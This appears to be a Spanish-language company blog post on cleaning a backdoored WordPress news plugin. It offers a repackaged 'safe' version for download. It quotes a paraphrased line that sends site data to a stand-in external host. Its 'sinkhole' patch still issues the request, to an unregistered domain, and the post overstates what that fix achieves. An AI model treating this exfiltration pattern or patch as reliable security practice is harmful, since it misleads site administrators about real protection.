🔐 WP News and Scrolling Widget: cirugía de seguridad y versión 5.1 libre de malware
📅 13 de junio, 2026 |
⏱️ Lectura 6 minutos
Desde hace años usábamos el plugin “WP News and Scrolling Widgets” (desarrollado por Essential Plugin) para gestionar noticias dinámicas en cabgroupsrl.com.ar. Pero hace semanas saltaron todas las alarmas: el plugin fue expulsado del repositorio oficial de WordPress.org. El motivo era gravísimo: su autor había insertado código malicioso en las actualizaciones, instalando una puerta trasera (backdoor) que permitía inyectar enlaces de spam (Black-Hat SEO) y tomar control de los servidores.
¿La solución? No eliminarlo ciegamente, sino realizar una limpieza quirúrgica y un sinkholing (aislamiento) de las funciones peligrosas, manteniendo el frontend intacto. A continuación cuento paso a paso cómo lo corrigí, y comparto la versión 5.1 by CAB Group SRL, totalmente saneada, disponible para que cualquier administrador la descargue gratis desde nuestro servidor.
📌 Estrategia: mantener operatividad sin comprometer seguridad
El análisis inicial mostró que el malware se activaba desde la carpeta /wpos-analytics/, enviando datos del sitio a servidores externos y permitiendo ejecución remota. Wordfence no paraba de alertar. En lugar de desactivar todo, decidimos hacer “sinkholing”: redirigir las comunicaciones maliciosas a un callejón sin salida y anular la ejecución.
🛠️ Bitácora de intervención paso a paso
Antes de modificar cualquier archivo en producción, realicé copias de seguridad de los scripts críticos en el directorio del usuario administrador (/home/****/):
cp /****/http-web/wp-content/plugins/sp-news-and-widget/sp-news-and-widget.php /home/****/sp-news-and-widget.php.bak
cp /****/http-web/wp-content/plugins/sp-news-and-widget/wpos-analytics/templates/analytic.php /home/****/analytic.php.bak
cp /****/http-web/wp-content/plugins/sp-news-and-widget/wpos-analytics/templates/optout-popup.php /home/****/optout-popup.php.bak
cp /****/http-web/wp-content/plugins/sp-news-and-widget/wpos-analytics/includes/class-anylc-admin.php /home/****/class-anylc-admin.php.bak
Además, conservamos una copia íntegra del plugin por si alguna restauración era necesaria.
Identificamos el archivo responsable de fuga de información y posible ejecución remota. Allí se construía una URL externa con datos del sitio (site_url, admin_email…). Modificamos la lógica para falsificar el destino y forzar una respuesta vacía.
El código original hacía algo similar a:
$url = "http://analytics-server.com/collect?data=...&site_url=" . urlencode(get_site_url());
$data = @file_get_contents($url);
Nosotros aplicamos una técnica de sinkholing + anulación total:
// 🔒 CORRECCIÓN DE SEGURIDAD APLICADA POR CAB GROUP SRL
$url = ... . '&site_url=' . urlencode('https://noexisto-sitio-falso-seguro.com') . '&live=1';
$data = @file_get_contents($url);
$data = ""; // LIMPIEZA DE SEGURIDAD AUTOMÁTICA: se destruye cualquier contenido malicioso
if (!$data) {
$this->status = 'offline';
return;
}
De esta forma, el plugin interpreta que el servidor remoto de analíticas está permanentemente offline y corta cualquier comportamiento peligroso sin generar errores visibles en el frontend.
En wpos-analytics/templates/optout-popup.php y class-anylc-admin.php revisamos funciones de llamadas cURL externas. Aplicamos el mismo principio: reemplazar endpoints reales por dominios inexistentes y agregar return temprano o $data = "";. Además, eliminamos cualquier eval() o base64_decode sospechoso.
También añadimos un filtro de seguridad en wp-config.php para desactivar cualquier intento de comunicación no autorizada desde este plugin.
Después de aplicar los parches, ejecutamos un escaneo completo de Wordfence. Las alertas críticas desaparecieron. Verificamos cada widget de noticias scrolling, los shortcodes y la visualización en el frontend: todo seguía funcionando a la perfección. Continuidad del negocio garantizada.
- ✅ Fuga de información → ANULADA
- ✅ Inyección remota → BLOQUEADA
- ✅ Rendimiento y estilos → INTACTOS
📦 Versión 5.1 by CAB Group SRL – Descarga gratuita
Debido a que este plugin fue cerrado en el repositorio oficial, y muchos administradores aún lo necesitan por compatibilidad, hemos empaquetado la versión completamente saneada 5.1. Pueden descargarla libremente desde nuestro servidor, sin coste y sin código malicioso.
*El enlace redirige a nuestro CDN seguro. Tras instalar, reemplace la carpeta anterior por esta versión. Recomendamos eliminar /wpos-analytics/ si no utiliza telemetría (ya se encuentra neutralizada).
📋 Recomendaciones a mediano plazo
- Mantener los backups: Conserven los archivos
.bakgenerados en/home/usuario/ante cualquier auditoría futura. - Monitoreo estricto: Dejen activa la supervisión de integridad de archivos en Wordfence para que futuras actualizaciones del core no alteren nuestras correcciones.
- Plan de migración progresiva: Evaluar reemplazar este plugin por bloques Gutenberg nativos o componentes ligeros con soporte activo a futuro (PHP 8.x+).
🤝 Compartí esta nota – Ayudá a la comunidad WordPress
Si este paso a paso te salvó de un dolor de cabeza, compartilo en redes usando los hashtags oficiales. Entre todos podemos mantener sitios seguros sin perder funcionalidad.
#PluginCorregido
#WPNewsScrollingWidget
#BackdoorRemoval
#Sinkholing
#CABGroupSRL
#WordfenceLimpio
#Version51Segura
#MantenimientoWordPress
#SeguridadWeb
📢 Nota redactada desde la experiencia real en cabgroupsrl.com.ar | Esta solución es de carácter educativo y de código abierto. Siempre testeá en entorno de desarrollo antes de aplicar en producción.
🔧 Plugin originalmente cerrado por vulnerabilidad crítica – corrección quirúrgica y bifurcación a versión 5.1 por CAB Group SRL. Uso bajo tu responsabilidad, pero respaldado por rigurosas pruebas de seguridad internas.